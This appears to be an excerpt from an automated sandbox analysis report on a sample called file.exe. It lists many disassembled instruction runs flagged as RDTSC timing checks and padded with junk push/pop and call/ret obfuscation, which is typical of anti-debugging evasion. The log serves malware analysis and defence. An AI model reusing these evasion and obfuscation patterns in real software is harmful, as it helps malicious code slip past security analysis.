Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C13F9 second address: 13C145E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b call 00007FFAE8D89398h 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 add dword ptr [esp+04h], 00000017h 0x0000001d inc eax 0x0000001e push eax 0x0000001f ret 0x00000020 pop eax 0x00000021 ret 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push ecx 0x00000029 call 00007FFAE8D89398h 0x0000002e pop ecx 0x0000002f mov dword ptr [esp+04h], ecx 0x00000033 add dword ptr [esp+04h], 0000001Bh 0x0000003b inc ecx 0x0000003c push ecx 0x0000003d ret 0x0000003e pop ecx 0x0000003f ret 0x00000040 xchg eax, ebx 0x00000041 jmp 00007FFAE8D8939Bh 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 push edi 0x0000004a jnl 00007FFAE8D89396h 0x00000050 pop edi 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C1DC3 second address: 13C1E53 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FFAE8D0C6B8h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push edi 0x00000012 call 00007FFAE8D0C6B8h 0x00000017 pop edi 0x00000018 mov dword ptr [esp+04h], edi 0x0000001c add dword ptr [esp+04h], 00000014h 0x00000024 inc edi 0x00000025 push edi 0x00000026 ret 0x00000027 pop edi 0x00000028 ret 0x00000029 or dword ptr [ebp+124588C1h], edi 0x0000002f push 00000000h 0x00000031 mov esi, dword ptr [ebp+122D1BE8h] 0x00000037 pushad 0x00000038 je 00007FFAE8D0C6B9h 0x0000003e mov di, bx 0x00000041 jmp 00007FFAE8D0C6C0h 0x00000046 popad 0x00000047 push 00000000h 0x00000049 push 00000000h 0x0000004b push esi 0x0000004c call 00007FFAE8D0C6B8h 0x00000051 pop esi 0x00000052 mov dword ptr [esp+04h], esi 0x00000056 add dword ptr [esp+04h], 00000019h 0x0000005e inc esi 0x0000005f push esi 0x00000060 ret 0x00000061 pop esi 0x00000062 ret 0x00000063 xchg eax, ebx 0x00000064 jng 00007FFAE8D0C6C2h 0x0000006a jnc 00007FFAE8D0C6BCh 0x00000070 push eax 0x00000071 push eax 0x00000072 push edx 0x00000073 pushad 0x00000074 push eax 0x00000075 push edx 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C1B65 second address: 13C1B6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C1E53 second address: 13C1E5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FFAE8D0C6B6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C2A07 second address: 13C2A15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFAE8D8939Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C2A15 second address: 13C2A19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C2A19 second address: 13C2A85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b call 00007FFAE8D893A7h 0x00000010 mov esi, dword ptr [ebp+122D2CBEh] 0x00000016 pop edi 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push esi 0x0000001c call 00007FFAE8D89398h 0x00000021 pop esi 0x00000022 mov dword ptr [esp+04h], esi 0x00000026 add dword ptr [esp+04h], 0000001Dh 0x0000002e inc esi 0x0000002f push esi 0x00000030 ret 0x00000031 pop esi 0x00000032 ret 0x00000033 mov dword ptr [ebp+122D1867h], ebx 0x00000039 push 00000000h 0x0000003b xchg eax, ebx 0x0000003c jmp 00007FFAE8D8939Dh 0x00000041 push eax 0x00000042 pushad 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C2A85 second address: 13C2A89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C61BA second address: 13C6222 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jc 00007FFAE8D89396h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007FFAE8D89398h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 mov di, EF47h 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push ebp 0x00000030 call 00007FFAE8D89398h 0x00000035 pop ebp 0x00000036 mov dword ptr [esp+04h], ebp 0x0000003a add dword ptr [esp+04h], 00000017h 0x00000042 inc ebp 0x00000043 push ebp 0x00000044 ret 0x00000045 pop ebp 0x00000046 ret 0x00000047 mov bx, 0B9Bh 0x0000004b push 00000000h 0x0000004d sbb bx, 2224h 0x00000052 xchg eax, esi 0x00000053 push eax 0x00000054 push edx 0x00000055 push edi 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C6222 second address: 13C6227 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C6227 second address: 13C622C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C7273 second address: 13C727D instructions: 0x00000000 rdtsc 0x00000002 jo 00007FFAE8D0C6BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C63D4 second address: 13C63D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C916C second address: 13C9173 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C9173 second address: 13C9179 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C9179 second address: 13C919D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FFAE8D0C6C8h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CA16A second address: 13CA16E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C92EE second address: 13C9379 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ebx 0x00000006 mov dword ptr [esp], eax 0x00000009 sub dword ptr [ebp+122D38EDh], esi 0x0000000f push dword ptr fs:[00000000h] 0x00000016 mov dword ptr fs:[00000000h], esp 0x0000001d push 00000000h 0x0000001f push eax 0x00000020 call 00007FFAE8D0C6B8h 0x00000025 pop eax 0x00000026 mov dword ptr [esp+04h], eax 0x0000002a add dword ptr [esp+04h], 00000018h 0x00000032 inc eax 0x00000033 push eax 0x00000034 ret 0x00000035 pop eax 0x00000036 ret 0x00000037 jmp 00007FFAE8D0C6C5h 0x0000003c mov eax, dword ptr [ebp+122D08F9h] 0x00000042 mov edi, dword ptr [ebp+122D2B13h] 0x00000048 push FFFFFFFFh 0x0000004a push 00000000h 0x0000004c push ebp 0x0000004d call 00007FFAE8D0C6B8h 0x00000052 pop ebp 0x00000053 mov dword ptr [esp+04h], ebp 0x00000057 add dword ptr [esp+04h], 0000001Dh 0x0000005f inc ebp 0x00000060 push ebp 0x00000061 ret 0x00000062 pop ebp 0x00000063 ret 0x00000064 stc 0x00000065 push eax 0x00000066 push edi 0x00000067 push eax 0x00000068 push eax 0x00000069 push edx 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CDA3F second address: 13CDA43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D175D second address: 13D1761 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D1761 second address: 13D1767 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D3821 second address: 13D3826 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D3826 second address: 13D382C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D382C second address: 13D3850 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAE8D0C6BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jns 00007FFAE8D0C6BCh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D3850 second address: 13D385A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FFAE8D89396h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D385A second address: 13D385E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D0932 second address: 13D0938 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D0938 second address: 13D093E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D09F2 second address: 13D09F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D68D5 second address: 13D6906 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FFAE8D0C6BDh 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f pop eax 0x00000010 popad 0x00000011 popad 0x00000012 pushad 0x00000013 pushad 0x00000014 js 00007FFAE8D0C6B6h 0x0000001a jp 00007FFAE8D0C6B6h 0x00000020 push ecx 0x00000021 pop ecx 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 push esi 0x00000028 pop esi 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D6F97 second address: 13D702E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push ecx 0x00000009 jp 00007FFAE8D8939Ch 0x0000000f pop ecx 0x00000010 nop 0x00000011 mov edi, dword ptr [ebp+122D2A8Bh] 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push ecx 0x0000001c call 00007FFAE8D89398h 0x00000021 pop ecx 0x00000022 mov dword ptr [esp+04h], ecx 0x00000026 add dword ptr [esp+04h], 0000001Dh 0x0000002e inc ecx 0x0000002f push ecx 0x00000030 ret 0x00000031 pop ecx 0x00000032 ret 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push ebx 0x00000038 call 00007FFAE8D89398h 0x0000003d pop ebx 0x0000003e mov dword ptr [esp+04h], ebx 0x00000042 add dword ptr [esp+04h], 0000001Ch 0x0000004a inc ebx 0x0000004b push ebx 0x0000004c ret 0x0000004d pop ebx 0x0000004e ret 0x0000004f push ebx 0x00000050 pushad 0x00000051 or edi, 19C2E7DBh 0x00000057 call 00007FFAE8D893A2h 0x0000005c pop edi 0x0000005d popad 0x0000005e pop edi 0x0000005f mov dword ptr [ebp+1246ADDFh], edx 0x00000065 xchg eax, esi 0x00000066 push eax 0x00000067 jng 00007FFAE8D8939Ch 0x0000006d push eax 0x0000006e push edx 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D702E second address: 13D7057 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 pushad 0x00000007 pushad 0x00000008 jmp 00007FFAE8D0C6C0h 0x0000000d push esi 0x0000000e pop esi 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FFAE8D0C6BCh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136C36A second address: 136C385 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAE8D893A3h 0x00000009 pop ebx 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DF195 second address: 13DF1B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FFAE8D0C6C6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DF1B4 second address: 13DF1E7 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FFAE8D89396h 0x00000008 jmp 00007FFAE8D893A3h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FFAE8D893A4h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DF38E second address: 13DF392 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E2E56 second address: 13E2E74 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FFAE8D893A6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E2E74 second address: 13E2E90 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAE8D0C6C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E2E90 second address: 13E2E94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E2E94 second address: 13E2EEA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 jmp 00007FFAE8D0C6C8h 0x0000000e popad 0x0000000f popad 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 jc 00007FFAE8D0C6BEh 0x0000001a mov eax, dword ptr [eax] 0x0000001c jmp 00007FFAE8D0C6BCh 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FFAE8D0C6BDh 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E2FD0 second address: 13E2FD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E2FD4 second address: 13E2FE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E2FE0 second address: 13E2FF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop esi 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a pushad 0x0000000b jnc 00007FFAE8D89398h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E2FF7 second address: 13E2FFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E2FFB second address: 13E3024 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007FFAE8D893A3h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 jnl 00007FFAE8D89396h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E65F9 second address: 13E65FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E65FF second address: 13E6603 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E6603 second address: 13E6607 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E6607 second address: 13E660F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E660F second address: 13E6620 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007FFAE8D0C6B6h 0x00000009 jl 00007FFAE8D0C6B6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E6620 second address: 13E664F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jp 00007FFAE8D89396h 0x00000012 jmp 00007FFAE8D8939Ch 0x00000017 push esi 0x00000018 pop esi 0x00000019 popad 0x0000001a pushad 0x0000001b jmp 00007FFAE8D8939Ah 0x00000020 push ecx 0x00000021 pop ecx 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E664F second address: 13E665C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FFAE9061D66h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136FABC second address: 136FAC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EB0E5 second address: 13EB111 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 pushad 0x00000007 push esi 0x00000008 jnp 00007FFAE9061D66h 0x0000000e jmp 00007FFAE9061D6Ah 0x00000013 pop esi 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FFAE9061D6Fh 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EB111 second address: 13EB115 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EB115 second address: 13EB11B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EB293 second address: 13EB297 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EB297 second address: 13EB2CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007FFAE9061D79h 0x0000000c pushad 0x0000000d popad 0x0000000e pop eax 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 jmp 00007FFAE9061D6Eh 0x00000018 push edi 0x00000019 pop edi 0x0000001a pop esi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F5FE7 second address: 13F6000 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jmp 00007FFAE903A96Bh 0x0000000b jne 00007FFAE903A966h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F4B64 second address: 13F4B76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FFAE9061D66h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F4B76 second address: 13F4B7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F4B7A second address: 13F4B84 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F4B84 second address: 13F4B8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F4D0B second address: 13F4D10 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F4D10 second address: 13F4D1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F4D1C second address: 13F4D22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F4D22 second address: 13F4D26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F4D26 second address: 13F4D2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F4D2A second address: 13F4D61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jp 00007FFAE903A966h 0x0000000d pop edi 0x0000000e jmp 00007FFAE903A973h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FFAE903A974h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F4F05 second address: 13F4F27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAE9061D78h 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F4F27 second address: 13F4F3E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007FFAE903A96Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F488D second address: 13F4893 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F55FE second address: 13F562F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jo 00007FFAE903A978h 0x0000000b jmp 00007FFAE903A970h 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FFAE903A972h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F562F second address: 13F565D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FFAE9061D79h 0x0000000e jmp 00007FFAE9061D6Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F57CF second address: 13F57F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAE903A973h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c jo 00007FFAE903A966h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F57F1 second address: 13F5803 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007FFAE9061D6Ah 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
